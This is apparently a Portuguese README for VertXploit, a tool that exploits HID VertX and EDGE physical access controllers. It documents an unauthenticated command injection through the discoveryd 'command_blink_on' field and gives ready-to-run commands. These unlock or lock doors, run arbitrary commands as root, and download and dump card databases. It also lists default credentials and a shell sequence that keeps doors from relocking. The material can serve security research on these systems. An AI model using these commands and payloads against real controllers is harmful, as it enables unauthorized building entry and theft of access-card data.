
Explorando sistemas de controle de acesso HID VertX e EDGE
Explorando sistemas de controle de acesso HID VertX e EDGE
VertXploit é uma ferramenta que pode ser usada para explorar sistemas de controle de acesso HID VertX e EDGE.
Existe uma vulnerabilidade no serviço discoveryd, que não sanitiza os dados do usuário antes de executar chamadas de sistema. Isso permite a execução arbitrária de código em sistemas de controle de acesso HID VertX e EDGE sem necessidade de autenticação. Consulte a seção Injeção de Comando para mais informações.
VertXploit pode destravar ou travar portas conectadas ao sistema de controle de acesso, baixar os bancos de dados contendo todos os cartões de controle de acesso provisionados/armazenados em cache e executar comandos arbitrários como root no sistema VertX, se vulnerável.
Se o firmware do controlador VertX foi atualizado recentemente, o vertXploit tentará destravar ou travar as portas por meio do console web usando o nome de usuário e a senha padrão ou fornecidos pelo usuário.
Execute pip install -r requirements.txt para instalar os módulos Python necessários.
Execute ./vertXploit.py -h para exibir o menu de ajuda, ou ./vertXploit.py ACTION -h para exibir ajuda para uma ação específica.
Execute o vertXploit apenas com o argumento de ação discover para descobrir todos os sistemas de controle de acesso HID na rede de broadcast local. Se um endereço IP for fornecido com o argumento opcional --ip IP, o vertXploit usará python-nmap para escanear esse intervalo de rede /24 em busca de sistemas com a porta 4050 aberta. O VertXploit enviará então um pacote UDP de descoberta para o endereço IP identificado para determinar se esse sistema é um painel de controle de acesso HID.
Exemplo:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
Depois que um controlador for descoberto, execute o vertXploit com o argumento de ação fingerprint e o endereço IP do controlador de acesso para retornar informações detalhadas sobre o painel de controle de acesso.
Exemplo:
./vertXploit.py fingerprint 10.1.10.5
Para destravar ou travar portas conectadas ao painel de controle de acesso, execute o vertXploit com o argumento de ação unlock ou lock e o endereço IP do controlador. Se o controlador não for vulnerável ao exploit de injeção de comando, o vertXploit tentará destravar ou travar as portas por meio do console web. Esse método usa o nome de usuário padrão 'root' e a senha padrão 'pass', ou você pode fornecer os seus próprios com os argumentos --username USERNAME e --password PASSWORD.
Exemplo:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
Comandos Linux arbitrários podem ser executados no sistema de controle de acesso usando o argumento de ação raw e o endereço IP do controlador. O comando pode falhar ao ser executado se não estiver instalado no controlador (Python, Perl, Ruby, etc). Como uma prova de conceito simples, o comando Linux nativo 'ping' parece funcionar em todos os modelos VertX e EDGE testados.
Exemplo:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
Para baixar os bancos de dados de cartões do controlador, execute o vertXploit com o argumento de ação download e o endereço IP do controlador. O controlador deve ser vulnerável à vulnerabilidade de injeção de comando e você deve conseguir acessar a interface web do controlador para baixar os dois bancos de dados de cartões. O nome de usuário padrão 'root' e a senha padrão 'pass' são usados para autenticação web, ou você pode fornecer os seus próprios com os argumentos --username USERNAME e --password PASSWORD.
Exemplo:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
Após baixar os bancos de dados 'IdentDB' e 'AccessDB' do controlador, use o argumento de ação dump para despejar o conteúdo dos bancos de dados. Opcionalmente, você pode especificar o caminho local dos arquivos dos bancos de dados com o argumento --path PATH.
Exemplo:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
Normalmente, vários controladores de acesso VertX ou EDGE são instalados e alojados juntos. O comando de diagnóstico command_blink_on pode ser enviado a um controlador específico, o que faz com que o LED físico "Comm" do painel pisque para identificação visual. Esse comando geralmente termina com o número de vezes que o LED deve piscar, no caso a seguir, 30 vezes.
command_blink_on;044;00:11:22:33:44:55;30;
Ao substituir o número de piscadas por um comando Linux envolto em aspas invertidas, o comando será executado no controlador de acesso, como root.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
Para destravar e travar remotamente portas conectadas ao sistema de controle de acesso, os comandos são enviados para /tmp/a. Isso é feito porque há um limite de comprimento de 41 caracteres, sem contar as duas aspas invertidas, que podem ser enviados ao controlador. Nota: echo é usado em vez de printf porque alguns controladores VertX mais antigos estão executando BusyBox < 1.0.1, que não inclui printf.
As quebras de linha resultantes do envio dos comandos para o arquivo são então removidas executando tr -d '\n' < /tmp/a > /tmp/b e quebras de linha intencionais são inseridas executando tr '!' '\n' < /tmp/b > /tmp/a.
O script /tmp/a é então executado e ambos os arquivos são excluídos. Abaixo é mostrado quais comandos estão sendo enviados para /tmp/a quando os comandos de destravar e travar são enviados ao controlador VertX.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi